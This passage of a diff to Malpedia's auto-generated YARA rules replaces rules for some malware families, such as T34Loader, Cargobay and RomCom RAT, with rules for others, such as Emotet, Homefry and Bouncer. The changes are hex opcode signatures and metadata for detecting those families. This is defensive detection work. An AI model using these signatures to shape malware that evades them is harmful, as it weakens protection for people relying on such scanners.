"e5720d10-2fbe-56e7-a983-268d042c48b1" + id = "d7d35e8c-e0c5-5ba6-b2d4-e95c77830765" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.t34loader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.t34loader_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.homefry" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.homefry_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "ec0cde05ce06de31a82d86f3a54c045f2d69d36946c25715e1f108cf44d303ce" + logic_hash = "3f2d14189cc000f371864eda6ce01209469d1d59387364413aee3876a7479356" score = 75 quality = 75 tags = "FILE" @@ -114679,34 +114520,34 @@ rule MALPEDIA_Win_T34Loader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7424 88542438 eb1e 4885c0 7505 4585ff 7414 } - $sequence_1 = { e8???????? 488d542420 488bcb e8???????? 488bcb e8???????? 84c0 } - $sequence_2 = { 743f 803d????????00 7436 48ffc0 4d8d1443 488b4587 48ffc0 } - $sequence_3 = { e8???????? 488b5710 488bc8 4889542420 4c8bcb } - $sequence_4 = { 418ac0 884708 488b542440 488bcf e8???????? 84c0 0f84e6feffff } - $sequence_5 = { 4c8bc7 488d4c2430 488bd6 e8???????? 488d4c2430 e8???????? } - $sequence_6 = { 0f845e010000 488b0f 33db 4885c9 7441 488b4138 483918 } - $sequence_7 = { e8???????? 488bd0 488d4d20 e8???????? 488bd3 488d4d30 e8???????? } - $sequence_8 = { 488d4138 41b806000000 488d15b1370200 483950f0 740c 488b10 4885d2 } - $sequence_9 = { 5f 5e 5d c3 4c8d05d3b50200 498b14e8 8a44fa38 } + $sequence_0 = { 4157 4883ec20 4c8b7908 0fb701 4d8bf0 410fb61f 4c8bda } + $sequence_1 = { c744246038020000 ff15???????? 85c0 751d } + $sequence_2 = { 410fb61f 4c8bda 83f801 7623 } + $sequence_3 = { 488905???????? ff15???????? 488b0d???????? 448b4c2470 4c8b05???????? 488b15???????? } + $sequence_4 = { ffd5 85c0 0f8860010000 488b0d???????? 458d4e20 4c8d05480f0000 488b09 } + $sequence_5 = { e9???????? 480578ffffff 833d????????06 488905???????? } + $sequence_6 = { 751c 488d0d8f060000 488b742440 488b7c2448 4883c420 415e } + $sequence_7 = { 7343 0f1f8000000000 4983c9ff 488bd7 488bcb } + $sequence_8 = { 488917 48630a 4883c104 4803ca 48890f } + $sequence_9 = { 742e 48ffc3 483bdd 72d0 488bcf ff15???????? 33c0 } condition: - 7 of them and filesize < 1212416 + 7 of them and filesize < 65536 } -rule MALPEDIA_Win_Cargobay_Auto : FILE +rule MALPEDIA_Win_Emotet_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d6e48bf6-04f2-5926-86cf-d6b3d1d19c9e" + id = "590db82a-e64b-59fe-a363-cd344fccdc7b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cargobay" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cargobay_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.emotet_auto.yar#L1-L618" license_url = "N/A" - logic_hash = "78bad24f78416452973bfe57bb2d3dc8c78eea72265f4a6384a2c196eab74e59" + logic_hash = "9ea1f202fdf175311dcb11b7b6f7efdcd86b6e87b055de16a61627e022c993b1" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -114718,34 +114559,99 @@ rule MALPEDIA_Win_Cargobay_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 0f0b 4883ec28 4889c8 488d0d735d0e00 48894c2420 41b900010000 } - $sequence_1 = { e8???????? 48894308 b801000000 ebd3 4881ec88000000 488d442428 488910 } - $sequence_2 = { e8???????? 4889f1 89c2 4883c420 5e e9???????? 56 } - $sequence_3 = { e8???????? 488d9424a0000000 440f294a10 440f2902 4c8db424e0000000 4c89f1 4989f8 } - $sequence_4 = { e9???????? 89f9 4429e1 488b742430 8d5601 4585e4 410f94c0 } - $sequence_5 = { 4c8ba424c8000000 4889f1 e8???????? 4885c0 7446 4989d0 4c89f1 } - $sequence_6 = { eb0d 488908 e9???????? 440fb76734 4929d4 488d7738 31ed } - $sequence_7 = { 49c1e104 31c0 4939c1 740b 41833c0000 488d4010 74f0 } - $sequence_8 = { c6455e00 4c8d05ed010900 4889e9 488d5548 e8???????? 31ff 4885f6 } - $sequence_9 = { e8???????? 4889e9 4c89ea e8???????? e9???????? 488d1512bb1200 488dbc24f0020000 } + $sequence_0 = { 3c41 7c04 3c5a 7e03 c60158 } + $sequence_1 = { 3c61 7c04 3c7a 7e0b 3c41 } + $sequence_2 = { 8a01 3c30 7c04 3c39 7e13 3c61 } + $sequence_3 = { 7e03 c60158 41 803900 } + $sequence_4 = { 3903 5f 5e 0f95c0 5b 8be5 } + $sequence_5 = { 83c020 eb03 0fb7c0 69d23f000100 } + $sequence_6 = { 880a 8bc1 c1e808 8d5204 } + $sequence_7 = { c1e910 8842fd 884afe c1e908 } + $sequence_8 = { 75f2 eb06 33c9 66894802 } + $sequence_9 = { c1e808 8d5204 c1e910 8842fd } + $sequence_10 = { 8d5801 f6c30f 7406 83e3f0 } + $sequence_11 = { 8b16 8945fc 8d45f8 6a04 } + $sequence_12 = { 0faf4510 50 6a08 ff15???????? } + $sequence_13 = { 8901 8b477c 85c0 7448 } + $sequence_14 = { 8b4508 894dcc 8d4dc8 8945c8 8975d4 } + $sequence_15 = { 7448 8b00 2b878c000000 56 } + $sequence_16 = { 894630 8b45f8 01460c 294610 } + $sequence_17 = { 50 8d45f8 81ca00000020 50 52 } + $sequence_18 = { 48894808 48895010 4c894018 4c894820 c3 } + $sequence_19 = { 488bd3 488bcf 488b5c2460 4883c450 } + $sequence_20 = { 0fb7c1 c1e910 66c1e808 4d8d4004 } + $sequence_21 = { 418bd0 d3e2 418bcb d3e0 03d0 } + $sequence_22 = { d3e7 83f841 7208 83f85a } + $sequence_23 = { 4803c8 eb08 803900 7408 } + $sequence_24 = { 2bca d1e9 03ca c1e906 894d18 } + $sequence_25 = { 4d8d4004 418840fd 418848fe 66c1e908 418848ff 4d3bd9 72cf } + $sequence_26 = { 483bd8 730b 488bcb e8???????? } + $sequence_27 = { c1e807 41 83f87f 77f7 } + $sequence_28 = { f7e1 b84fecc44e 2bca d1e9 } + $sequence_29 = { 84c0 75f2 eb03 c60100 } + $sequence_30 = { 8bd3 8b0f e8???????? 85c0 } + $sequence_31 = { 83c104 894e04 8b00 85c0 } + $sequence_32 = { 7907 83c107 3bf7 72e8 } + $sequence_33 = { 0fb6c0 668942fa c1e910 0fb6c1 } + $sequence_34 = { 56 57 6a1e 8d45e0 } + $sequence_35 = { 52 52 52 52 68???????? 52 } + $sequence_36 = { 83ec48 53 56 57 6a44 } + $sequence_37 = { 83f87f 760d 8d642400 c1e807 } + $sequence_38 = { 83f87f 7609 c1e807 41 } + $sequence_39 = { 50 6a00 6a01 6a00 ff15???????? a3???????? } + $sequence_40 = { 6a00 6aff 50 51 ff15???????? } + $sequence_41 = { 50 6a00 ff75fc 6800040000 } + $sequence_42 = { 50 56 6800800000 6a6a } + $sequence_43 = { 53 56 8bf1 bb00c34c84 } + $sequence_44 = { 83ec08 56 68400000f0 6a18 33f6 56 56 } + $sequence_45 = { ff75fc 6800040000 6a00 6a00 6a00 } + $sequence_46 = { 8bec 83ec08 56 57 8bf1 33ff } + $sequence_47 = { 83ec10 53 6a00 8d45fc } + $sequence_48 = { 8bf1 bb00c34c84 57 33ff } + $sequence_49 = { 8b7d08 83fe00 8945f0 894dec 8955e8 8975e4 } + $sequence_50 = { 6a03 6a00 6a00 ff7508 53 50 } + $sequence_51 = { 56 57 00b807000000 008b45fc33d2 00b871800780 00558b ec } + $sequence_52 = { 8b55f4 01ca 89d6 83c60c 8b7df4 8b4c0f0c 83f900 } + $sequence_53 = { 56 8b4510 8b4d0c 8b5508 befbffffff c600e8 } + $sequence_54 = { 51 8d4df8 51 ff75f8 50 6a03 } + $sequence_55 = { 39c7 0f97c7 08fb f6c301 89f0 8945a4 } + $sequence_56 = { 8b466c 5f 5e 5b 8be5 5d } + $sequence_57 = { 8b7020 8b7840 89c3 83c33c } + $sequence_58 = { 31f6 89720c 897208 897204 } + $sequence_59 = { 7519 33c9 0f1f4000 0fb6840c30010000 } + $sequence_60 = { ff15???????? 83f803 7405 83f802 751e } + $sequence_61 = { 743e 8b5c2430 85db 741d } + $sequence_62 = { 31c9 89e2 31f6 89720c } + $sequence_63 = { 33d2 c605????????00 0fb6d8 e8???????? } + $sequence_64 = { 8bf8 e8???????? eb04 8b7c2430 } + $sequence_65 = { e8???????? 84c0 7519 33c9 } + $sequence_66 = { 81fecd000000 7740 0fb6b62043e601 ff24b50443e601 884801 80ca04 } + $sequence_67 = { e9???????? 8b84248c000000 f20f10842490000000 31c9 } + $sequence_68 = { 89e8 894c247c 8b8c2480000000 01c8 83c1c0 } + $sequence_69 = { 744b 488d15583f0000 488bc8 e8???????? 4885c0 742f } + $sequence_70 = { 488b43f8 4c8d4be0 4889442428 8b03 498d55ff 4c8d05ce3f0000 89442420 } + $sequence_71 = { c744240400000000 8954240c e8???????? 8d0d2231d800 890424 } + $sequence_72 = { 53 57 56 83ec44 8b442454 8d0d5830d800 } + $sequence_73 = { dd5c2450 f20f10442450 8b442444 8b4838 } + $sequence_74 = { 8bcc 8bd0 895c2420 e8???????? 44 8bc3 48 } condition: - 7 of them and filesize < 3432448 + 7 of them and filesize < 733184 } -rule MALPEDIA_Win_Aresloader_Auto : FILE +rule MALPEDIA_Win_Cloudwizard_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f289d632-cafa-52d9-b441-3cf36142832f" + id = "abbdc257-eb7b-5dbc-b89d-fa521addbb7b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aresloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aresloader_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudwizard" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cloudwizard_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "7dea272de803a78d1da18f0ee0ed5e7c3024e3919d3d811c7316d385075c0ef8" - score = 60 - quality = 25 + logic_hash = "73a241c1b717ddfac0eb8392f69e9bf260621defdb3bc053842ea74bc39dad65" + score = 75 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -114757,32 +114663,32 @@ rule MALPEDIA_Win_Aresloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 895c2404 893424 e8???????? 85c0 7831 39d8 7205 } - $sequence_1 = { 39d8 7205 c6441eff00 83c41c 5b } - $sequence_2 = { 83ec1c 8b5c2434 8b742430 8b7c2438 8b6c243c 85db 7435 } - $sequence_3 = { 8b6c243c 85db 7435 85f6 7431 } - $sequence_4 = { 85f6 7431 896c240c 897c2408 895c2404 } - $sequence_5 = { 85db 7435 85f6 7431 896c240c } - $sequence_6 = { 8b5c2434 8b742430 8b7c2438 8b6c243c 85db 7435 85f6 } - $sequence_7 = { 85c0 7831 39d8 7205 } - $sequence_8 = { 7431 896c240c 897c2408 895c2404 893424 } - $sequence_9 = { e8???????? 85c0 7831 39d8 7205 c6441eff00 83c41c } + $sequence_0 = { 8d4802 668b38 40 40 6685ff } + $sequence_1 = { d1f8 51 8d844618060000 50 e8???????? bf???????? 8bc7 } + $sequence_2 = { 57 50 e8???????? 8d4570 83c40c } + $sequence_3 = { 8bc6 8975ec e8???????? ff750c 8b06 ff7508 8bce } + $sequence_4 = { 6a5a 58 6a5d 66894544 } + $sequence_5 = { 58 6a44 668945a8 58 6a1b } + $sequence_6 = { 8986fc010000 897e70 c686c800000043 c6864b01000043 c7466838d54000 } + $sequence_7 = { 58 6a49 668945e4 58 668945e6 6a5d 58 } + $sequence_8 = { c645cf4a c645d044 c645d14d c645d27f 885dd3 8d45bc 59 } + $sequence_9 = { 8bce ff5010 6a04 33d2 59 } condition: - 7 of them and filesize < 2657280 + 7 of them and filesize < 134144 } -rule MALPEDIA_Win_Lemonduck_Auto : FILE +rule MALPEDIA_Win_Ktlv_Door_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0687728c-af20-5db0-825f-c09419c968e6" + id = "6e065a03-91ac-5e12-9f0d-2a07114a6941" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lemonduck" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lemonduck_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ktlv_door" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ktlv_door_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "98ef4bf0b78ddc5c7161294aca17f600a297dc9e3f0789809abaca00c16061d5" + logic_hash = "7086a37fac571e3e072f3722403d024774dd0aed3f77f3425014c9e7e0c7108d" score = 75 quality = 75 tags = "FILE" @@ -114796,34 +114702,34 @@ rule MALPEDIA_Win_Lemonduck_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 8bc8 89834c010000 e8???????? 4863c8 48898b88000000 4883c420 } - $sequence_1 = { eb0f 488bd3 488d0deb090a00 e8???????? 33c9 85c0 480f44cb } - $sequence_2 = { c1e808 0bc8 41c1e808 c1e218 4133ca 440bc2 41894f10 } - $sequence_3 = { ff15???????? 488bf8 4885c0 0f841f020000 33c0 f0480fb13d???????? 488bf0 } - $sequence_4 = { 7404 893b eb34 3bfe 7330 2bf7 488d14bd00000000 } - $sequence_5 = { e8???????? e9???????? 488b8e50010000 488d85e8000000 4c8d8dd0000000 4889442420 4c8d85e0000000 } - $sequence_6 = { e8???????? 85c0 7419 41b80a000000 488d15eab90500 488bcb e8???????? } - $sequence_7 = { e8???????? e9???????? 664183780e03 0f85e0010000 488d1d8bee1500 4c8d3dacee1500 0f1f4000 } - $sequence_8 = { 75f7 8945c8 33c0 488945d8 488945e0 66448965e6 488b45e0 } - $sequence_9 = { ff5018 f6d8 1bdb 83c302 b978000000 e8???????? 488bf8 } + $sequence_0 = { ffc2 85d2 7d10 488d053ed25900 31db 31c9 e8???????? } + $sequence_1 = { eb0e 488d3d1a475800 6690 e8???????? 488d0594b92c00 e8???????? 48c7400836000000 } + $sequence_2 = { eb25 488b8424a00c0000 4889c3 488d8c24780a0000 0f1f4000 e8???????? 488b542430 } + $sequence_3 = { eb11 488d7818 488b8c2440080000 e8???????? 48c7400810000000 488d0da4e81900 488908 } + $sequence_4 = { ffd0 488bac24c8010000 4881c4d0010000 c3 48899c2450020000 48898c2458020000 c644243700 } + $sequence_5 = { eb0c 488d3d9bba4000 e8???????? 488b0d???????? 48898c2458050000 488d05800f1700 e8???????? } + $sequence_6 = { eb0d 488bbc24a8000000 e8???????? 4889c6 4889d9 488b842490000000 488b5c2460 } + $sequence_7 = { eb0e 488d7818 488b4c2418 e8???????? 4889c3 488d05371d3d00 488b6c2428 } + $sequence_8 = { eb11 488d7838 488b8c24e8010000 e8???????? 488d0d529c2900 4889c2 4889842400010000 } + $sequence_9 = { e8???????? 440f11bc24e0010000 440f11bc24f0010000 488b8c24e0000000 48898c24e0010000 488b8c24c8010000 48898c24e8010000 } condition: - 7 of them and filesize < 10011648 + 7 of them and filesize < 14630912 } -rule MALPEDIA_Win_Mimic_Auto : FILE +rule MALPEDIA_Win_Qtbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a8de2e30-a540-5075-b183-0c7273ee4c55" + id = "2b92b0c1-9b29-5389-8e3a-195746a37ab1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimic" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mimic_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qtbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.qtbot_auto.yar#L1-L173" license_url = "N/A" - logic_hash = "1c66a1ded66595b3251cf8ee2e17251126ee2cc563185ec6b8bc5f5c9095e6bc" - score = 75 - quality = 75 + logic_hash = "eee36880d1f59f5f14d38b39d151180259128bb7c87bcaf8aa7d62fcdb47e198" + score = 60 + quality = 25 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -114835,32 +114741,38 @@ rule MALPEDIA_Win_Mimic_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 52 51 50 ff36 ff15???????? 85c0 0f84a30a0000 } - $sequence_1 = { 0fb6c3 8b5f30 330c8508fa5b00 8d0411 8b542420 33d0 8b442410 } - $sequence_2 = { 898554feffff 85c9 7436 8b9534feffff 8bc1 2bd1 81fa00100000 } - $sequence_3 = { 83c40c 56 ff15???????? e9???????? 52 51 } - $sequence_4 = { a0???????? 83ec0c 84c0 7404 8be5 5d c3 } - $sequence_5 = { ff15???????? 8b460c ff748604 ff15???????? 837e4800 7440 0f1f8000000000 } - $sequence_6 = { 3d???????? 740d 8bc8 e8???????? 8b0d???????? 8b5104 8b82f4d55e00 } - $sequence_7 = { 8d85b4f9ffff 50 56 ffd7 85c0 746c 8b8db8f9ffff } - $sequence_8 = { 50 51 8d8de0feffff e8???????? 6a18 68???????? 51 } - $sequence_9 = { ff75b8 0f4345a8 50 e8???????? 33c9 0f1000 0f11854cffffff } + $sequence_0 = { 8b4510 89450c 8d4301 0fb6d8 8a941dfcfeffff } + $sequence_1 = { 33c0 53 8a1a 6bc80d } + $sequence_2 = { 0fb6c3 83c0d0 03c1 25ffffff00 42 8a1a } + $sequence_3 = { 33f6 8bde 85ff 7455 8b4510 89450c } + $sequence_4 = { 84db 75e9 5b 5d } + $sequence_5 = { 64a130000000 8b400c 8b7014 ad 8b00 8b4010 } + $sequence_6 = { 742a 8b049a 03c6 50 e8???????? 3b4508 740b } + $sequence_7 = { 88841dfcfeffff 889435fcfeffff 0fb68c1dfcfeffff 0fb6c2 03c8 8b450c 0fb6c9 } + $sequence_8 = { 59 837e04ff 8bd8 8d7e08 7504 8b2f } + $sequence_9 = { 53 6a00 6a00 ff15???????? 833e05 7521 } + $sequence_10 = { 8d7e08 7504 8b2f eb02 8bef 8b06 83661c00 } + $sequence_11 = { eb60 8b46f8 834de4ff 49 c745e8ff000000 8b3c857c300010 } + $sequence_12 = { 49 c745e8ff000000 8b3c857c300010 c745ecffff0000 0faff9 83f801 c745f0ffffff00 } + $sequence_13 = { 894dfc eb0e 8b14957c300010 49 0fafd1 } + $sequence_14 = { 83f807 0f87c7000000 ff24857e230010 832700 e9???????? } + $sequence_15 = { e9???????? 33c0 8b7df4 8b0c855c300010 } condition: - 7 of them and filesize < 4204544 + 7 of them and filesize < 57344 } -rule MALPEDIA_Win_Citadel_Auto : FILE +rule MALPEDIA_Win_Kasperagent_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "405c8c54-58ec-5453-982e-e98970e4bd4a" + id = "5bc59f22-b9b3-5766-9e08-5c129dbebf50" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.citadel_auto.yar#L1-L160" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kasperagent" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kasperagent_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "9d24b0310c4a8508a9f96dd7e09a8073428bd68f73c4d97c0967ade9f8cc7c1c" + logic_hash = "8d5948eeb8ffe48e5f1f32cc1b2e0326c959eb92c3d2c7a0786033f96cdcbcd0" score = 75 quality = 75 tags = "FILE" @@ -114874,38 +114786,32 @@ rule MALPEDIA_Win_Citadel_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb0e 6800800000 53 57 } - $sequence_1 = { 03f7 6a0d 5f e8???????? } - $sequence_2 = { 3d00002003 7715 8b4d08 890e } - $sequence_3 = { 50 57 e8???????? 33db 3c01 } - $sequence_4 = { 41 66395802 7405 83c002 } - $sequence_5 = { a1???????? 57 e8???????? 8945fc 3bc3 } - $sequence_6 = { ff15???????? 85c0 0f8566010000 57 57 57 } - $sequence_7 = { 33c9 663918 7507 41 } - $sequence_8 = { eb81 d0e9 3aca 73fa 0fb6c9 8b04c8 ebae } - $sequence_9 = { 8b5004 0310 8d7101 3bf2 } - $sequence_10 = { 6685c0 7432 66ff460e 6639460e 7228 } - $sequence_11 = { 33c0 85c0 7409 3255fd } - $sequence_12 = { 6685c0 7432 66ff460c 6639460c } - $sequence_13 = { 5b b001 eb30 d0e8 } - $sequence_14 = { 85c0 740b 8a5604 8a4e01 ffd0 884601 33c0 } - $sequence_15 = { ffd0 8807 fe45ff 8a45ff 3a06 72c4 0fb7460a } + $sequence_0 = { ffd0 c645fc03 8b45bc 83c0f0 8d480c 83caff } + $sequence_1 = { 83c002 47 3bce 75eb 8bc3 3b5c2410 } + $sequence_2 = { 84db 7524 8b4500 83e810 ba01000000 } + $sequence_3 = { 663b54243a 7516 668b460c 663b44243c 750b b801000000 5f } + $sequence_4 = { 0fb74c2418 81c26c070000 40 668916 } + $sequence_5 = { 2bc6 0bd0 b301 7d08 56 8bcd e8???????? } + $sequence_6 = { 56 57 33ff 66837c24182d 897c2414 7472 } + $sequence_7 = { 89442408 8d742410 8d442408 c7470800000000 } + $sequence_8 = { ff500c 837d0800 75cc 5b 5d c20400 8bff } + $sequence_9 = { 57 56 ff15???????? 33c9 894c2430 894c2434 894c2438 } condition: - 7 of them and filesize < 1236992 + 7 of them and filesize < 1605632 } -rule MALPEDIA_Win_Romcom_Rat_Auto : FILE +rule MALPEDIA_Win_Bouncer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "52944eb3-a8b3-598a-bd5c-c9c0b8dd95ba" + id = "d675a9d0-d309-5a64-9b07-233609ff1237" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.romcom_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.romcom_rat_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bouncer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bouncer_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "94e8976d75fd26e2288ab3e032c369598bcb0480813fc775078fe15324b5e802" + logic_hash = "ef61499d69e0696c4532f64e6ff2b982da08dae26c600412b066491c2f5e5346" score = 75 quality = 75 tags = "FILE" @@ -114919,32 +114825,32 @@ rule MALPEDIA_Win_Romcom_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33d2 448d4240 488d8d60100000 e8???????? 488d0d9a6e0100 e8???????? 4c8bc0 } - $sequence_1 = { 488945a0 488d0592d20400 4885db 7424 83630800 488903 } - $sequence_2 = { c7442434323b3831 c74424383738363a c744243c02005b00 c74424407e006900 c744244461005d00 c74424485e005200 c744244c52005400 } - $sequence_3 = { f30f7f458f 482bf3 4889742420 4c8d458f 488d55a7 498bce e8???????? } - $sequence_4 = { 488d8a50000000 e9???????? 4055 4883ec20 488bea 8b8598000000 83e002 } - $sequence_5 = { eb24 488d152e6b0600 488d4b02 483bce 7714 41803c1f30 750d } - $sequence_6 = { c7442460474e595a c7442464080a5d0d c74424685b5a4659 c744246c10475f51 c7442470141e5e19 c74424744b4b5f4f c744247848262600 } - $sequence_7 = { 498bd6 498bcd ff5038 498b4740 488b4808 48894d97 488b01 } - $sequence_8 = { ebd7 488d053e4d0300 ba80000000 0f1000 410f1106 0f104810 410f114e10 } - $sequence_9 = { 894c2420 ff15???????? eb0c 48630d???????? e8???????? } + $sequence_0 = { 0f8441050000 50 ff75fc e8???????? 59 59 } + $sequence_1 = { 8b85b4feffff 48 3bc8 731b } + $sequence_2 = { 50 ff15???????? 8d85a4fdffff c645dc17 50 e8???????? 83c414 } + $sequence_3 = { c3 55 8bec 83ec24 56 8b750c } + $sequence_4 = { 53 8b5d10 56 57 8b7d0c 7410 a0???????? } + $sequence_5 = { 8bd8 3bde 7d13 68???????? ff15???????? } + $sequence_6 = { 56 56 ff15???????? 8d859cf6ffff 50 8d859cf8ffff 68???????? } + $sequence_7 = { 50 ff15???????? 83c40c eb2e ff7508 ff15???????? } + $sequence_8 = { 7e33 8d85f4feffff 50 56 e8???????? 85c0 7422 } + $sequence_9 = { 3bc6 59 a3???????? 750c 50 ff15???????? } condition: - 7 of them and filesize < 1211392 + 7 of them and filesize < 335872 } -rule MALPEDIA_Win_Zhcat_Auto : FILE +rule MALPEDIA_Win_Murkytop_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0341c55f-b49b-59ad-9995-dc165ee721c5" + id = "09dd87b2-848c-59f6-89b2-09fd740bcdeb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zhcat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zhcat_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.murkytop" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.murkytop_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "4527f43b00c94d79075579376bd5c0c607ad5c4bcbb3975ed225c4c4eea50561" + logic_hash = "d0c9a9dcefc5b4fab8d861110dfc72a07f2978208e468d91616835a5f37c61c4" score = 75 quality = 75 tags = "FILE" @@ -114958,34 +114864,34 @@ rule MALPEDIA_Win_Zhcat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff7510 668945c6 ffd7 8b3d???????? 8945c8 8b45fc 33f6 } - $sequence_1 = { e8???????? a1???????? 59 803d????????00 } - $sequence_2 = { 8d45d4 50 8d45ec 50 33db 8d45f8 } - $sequence_3 = { 8bc6 c1f805 8b048540604100 83e61f c1e606 59 c644300400 } - $sequence_4 = { 7506 394c2418 742c c705????????01000000 eb20 8b450c } - $sequence_5 = { ffd7 6a02 8945d8 58 ff7514 668945c4 ffd6 } - $sequence_6 = { c3 8bff 56 57 33ff ffb7004e4100 ff15???????? } - $sequence_7 = { 3b04cd20434100 7413 41 83f92d 72f1 } - $sequence_8 = { e8???????? 8b45f8 8b4dfc 83c40c 894104 } - $sequence_9 = { 7407 68???????? ebd3 39742418 7507 68???????? ebc6 } + $sequence_0 = { 8bc6 c1f805 57 83e61f 8d3c85e0f54100 8b07 } + $sequence_1 = { 0f8827040000 8b5d08 8d7dec e8???????? 85c0 0f8814040000 6803010000 } + $sequence_2 = { 50 68???????? e8???????? 8b45fc 8b4868 51 } + $sequence_3 = { 8b4de8 51 68???????? e8???????? 8b55f0 } + $sequence_4 = { 3bc6 7377 8bce e8???????? c745fc00000000 } + $sequence_5 = { 50 68???????? e8???????? 8b45fc 8b4824 51 e8???????? } + $sequence_6 = { 7551 8b4d08 85c9 745e 8b7918 b889888888 f7ef } + $sequence_7 = { 3bc7 7629 8bcf 8bd1 d1ea beffffff3f 2bf2 } + $sequence_8 = { b902000000 66894dc4 53 ff15???????? 668945c6 } + $sequence_9 = { 3c69 7404 3c49 757f c645fa01 e9???????? c645fe01 } condition: - 7 of them and filesize < 376832 + 7 of them and filesize < 294912 } -rule MALPEDIA_Win_Younglotus_Auto : FILE +rule MALPEDIA_Win_Plead_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "04c5b48c-c00c-5587-800f-b26c8ea57f39" + id = "ea1e32f2-faad-594a-a682-0f661211cc9b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.younglotus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.younglotus_auto.yar#L1-L171" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plead" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.plead_auto.yar#L1-L223" license_url = "N/A" - logic_hash = 